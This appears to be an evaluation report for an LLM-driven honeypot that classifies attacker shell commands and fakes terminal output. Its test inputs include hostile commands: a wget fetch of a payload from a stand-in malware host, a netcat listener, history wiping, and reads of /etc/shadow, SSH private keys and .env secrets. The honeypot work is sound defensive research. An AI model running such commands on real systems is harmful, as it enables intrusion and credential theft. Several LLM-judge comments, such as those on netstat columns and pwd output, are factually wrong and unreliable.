Xynera AI Backend Evaluation Report

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Metadata	Value
Model Evaluated	llama-3.1-8b-instant (via Groq)
Classification Commands Tested	61
Retrieval Test Queries Tested	66
Generation Cases Evaluated	14

1. Summary Performance Dashboard

Below is a summary of performance metrics across all evaluated aspects:

Category	Metric Name	Value	Target/Description
Classification	Threat Category Accuracy	100.00%	100% target accuracy
Retrieval	KB Retrieval Accuracy	100.00%	>85% retrieval match
Response Quality	Average Generation Latency	10.16s	LLM response latency
Response Quality	No Markdown Code Blocks	100.00%	100% raw output
Response Quality	No Conversational Fluff	100.00%	100% terminal outputs
Response Quality	No Prompt Leakage	100.00%	100% prompt-free
Response Quality	Parameter Adaptation	92.86%	Adapt target IPs/filenames
LLM-as-a-Judge	Average Realism Rating	6.64 / 10	Evaluator realism score
LLM-as-a-Judge	Average Adherence Rating	7.93 / 10	Evaluator formatting score
LLM-as-a-Judge	Average Consistency Rating	8.00 / 10	Evaluator consistency score

2. Classification Performance Details

Class-wise precision, recall, and F1 metrics for the command classifier:

Attack Threat Class	Precision	Recall	F1-Score
Defense Evasion	100.0%	100.0%	1.00
Malware Download Attempt	100.0%	100.0%	1.00
Malware Execution Attempt	100.0%	100.0%	1.00
Permission Manipulation	100.0%	100.0%	1.00
Persistence Creation	100.0%	100.0%	1.00
Privilege Escalation Attempt	100.0%	100.0%	1.00
Reconnaissance	100.0%	100.0%	1.00
Reverse Shell Attempt	100.0%	100.0%	1.00
SQL Injection Attempt	100.0%	100.0%	1.00

Unknown	100.0%	100.0%	1.00

Classification Errors & Misclassifications:

No classification failures recorded. Accuracy is 100%.

3. Retrieval Performance Details

Evaluation of vector store retrieval matching expected KB articles or returning None for out-of-scope queries:

Target KB Document	Precision	Recall	F1-Score
None	100.0%	100.0%	1.00
cat /etc/gateway/router.conf	100.0%	100.0%	1.00
cat /etc/shadow	100.0%	100.0%	1.00
cat /home/dev/backup_status.txt	100.0%	100.0%	1.00
cat /home/ubuntu/.env	100.0%	100.0%	1.00
cat /home/ubuntu/.ssh/backup_key	100.0%	100.0%	1.00
cat /home/ubuntu/.ssh/id_rsa	100.0%	100.0%	1.00
cat /var/www/internal/db_backup.sql	100.0%	100.0%	1.00
cat /var/www/internal/dev_tasks.md	100.0%	100.0%	1.00
chmod	100.0%	100.0%	1.00
crontab	100.0%	100.0%	1.00
curl	100.0%	100.0%	1.00
df	100.0%	100.0%	1.00
dmesg	100.0%	100.0%	1.00
docker	100.0%	100.0%	1.00
env	100.0%	100.0%	1.00
find	100.0%	100.0%	1.00
free	100.0%	100.0%	1.00
grep	100.0%	100.0%	1.00
history	100.0%	100.0%	1.00
hostname	100.0%	100.0%	1.00
id	100.0%	100.0%	1.00
ifconfig	100.0%	100.0%	1.00
ip	100.0%	100.0%	1.00
iptables	100.0%	100.0%	1.00
last	100.0%	100.0%	1.00
ls	100.0%	100.0%	1.00
lsb_release	100.0%	100.0%	1.00
lscpu	100.0%	100.0%	1.00
nc	100.0%	100.0%	1.00
netcat	100.0%	100.0%	1.00
netstat	100.0%	100.0%	1.00
nmap	100.0%	100.0%	1.00

ping	100.0%	100.0%	1.00
ps	100.0%	100.0%	1.00
ss	100.0%	100.0%	1.00
systemctl	100.0%	100.0%	1.00
top	100.0%	100.0%	1.00
uname	100.0%	100.0%	1.00
uptime	100.0%	100.0%	1.00
w	100.0%	100.0%	1.00
wget	100.0%	100.0%	1.00
which	100.0%	100.0%	1.00
whoami	100.0%	100.0%	1.00

Retrieval Errors & Failures:

No retrieval failures recorded. Accuracy is 100%.

4. Response Quality & Simulation Realism Details

Detail of responses generated, including syntactic rule checks and LLM-as-a-Judge scores:

Command	Lat.	Rules Check	Real.	Adh.	Cons.	Judge Feedback / Reasoning
`nmap -sS -v 192.168.1.1`	0.9s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	9	10	10	The output is very realistic, with the only minor discrepancy being the word 'target' in the reference document being replaced with '192.168.1.1' in the generated response. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks. The response is logically consistent with the command executed, including the flags, arguments, and IP address.
`wget http://malware.sh/payload.sh`	0.9s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	9	10	10	The output is nearly identical to the reference output, with the only minor difference being the timestamp. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks. The response is logically consistent with the command executed, including the IP address and filename.
`chmod 777 /var/www/html/uploads`	0.8s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✘	8	9	10	The output is mostly realistic, but it's missing the actual file modification time and ownership information that would be present in a real terminal. The AI did a good job of avoiding conversational fluff and explanations, but it could be improved by adding some minor details to make the output more authentic. The response is logically consistent with the command executed.

`nc -lvp 4444`	9.1s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	8	9	10	The output is mostly realistic, but it's missing the actual listening address and port information that would be displayed by the netcat command. The output is clean and doesn't contain any conversational fluff or explanations, which is good. The response is logically consistent with the command executed, as it's listening on the specified port.
`history -c`	12.7 s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	8	9	10	The output is very realistic, but it lacks the exact formatting of the reference document. The 'No command history' message is a direct response, which is good for adherence. The command executed is correctly cleared, so the consistency is perfect.
`crontab -e`	14.7 s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	0	0	0	The generated AI response is completely unrealistic and does not resemble the output of a real Linux terminal for the 'crontab -e' command. The output is a repetitive and nonsensical sequence of visudo error messages, which is not related to the command executed. The AI also failed to adhere to the format of a terminal output, including conversational fluff and code block tags. The response is also inconsistent with the command executed, as crontab -e is used to edit the cron table, not visudo.
`find / -perm -4000 -type f 2>/dev/null`	13.7 s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	6	8	4	The output is mostly realistic, but the presence of /var/www/internal/ files suggests that the AI may not fully understand the context of the command. The -perm -4000 flag is used to find files with the setuid bit set, which is typically found in /home/ubuntu or /root directories. The AI's output is inconsistent with this expectation.
`ps aux`	22.2 s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	9	10	10	The output is very realistic, with the correct format and content. However, it's missing the header line 'USER PID %CPU %MEM COMMAND' which is present in the reference output. The AI perfectly avoided any conversational fluff and provided a clean terminal output.
`netstat -antp`	15.9 s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	8	9	9	The output is mostly realistic, but the inclusion of 'Recv-Q' and 'Send-Q' columns is not typical for a 'netstat -antp' command. A real 'netstat -antp' command would typically only show the 'Proto', 'Local Address', 'Foreign Address', 'State', and 'PID/Program name' columns. The AI did a good job of avoiding conversational fluff and explanations, but the output is not perfect. The response is logically consistent with the command executed, including the flags and arguments.
`ping -c 4 8.8.8.8`	21.0 s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	8	9	10	The output is very realistic, but it lacks the initial PING line with the hostname and IP address. The adherence is high because the output is mostly clean, but it could be improved by removing the trailing whitespace. The consistency is perfect because the output matches the command executed, including the flags, arguments, and IP address.

`cat /home/ubuntu/.ssh/id_rsa`	0.0s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	9	10	10	The output is almost identical to the reference, with the same formatting and content. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks. The response is logically consistent with the command executed, as it correctly outputs the contents of the /home/ubuntu/.ssh/id_rsa file.
`cat /home/ubuntu/.env`	0.0s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	9	10	10	The output is nearly identical to the reference, but the realism score is not a 10 because the output is missing the typical Unix-style file permissions and timestamps that would be present in a real terminal output. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks, and the response is logically consistent with the command executed.
`mkdir /tmp/test`	11.2s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	2	8	9	The output is not entirely realistic as it implies the directory was created successfully, whereas the expected output should indicate the command was not found. The AI response is mostly clean, but the word 'created' is not typically part of the mkdir command's output. The response is consistent with the command executed, but the expected output would be different.
`pwd`	19.1s	Blocks:✔ Fluff:✔ Prompt:✔ Adapt:✔	0	0	0	The output '/home/ubuntu' is not realistic for the 'pwd' command, which should display the current working directory. A real Linux terminal would output something like '/home/user' or the path to the current directory. The AI response also lacks any indication that the command was not found, which is expected for a 'pwd' command in a honeypot scenario.